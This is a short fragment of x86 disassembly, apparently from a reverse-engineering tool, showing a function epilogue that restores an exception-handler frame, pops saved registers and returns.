call fcn.1001f340
mov al, 1
mov ecx, dword [esp + 0xc4]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0xc0
ret 4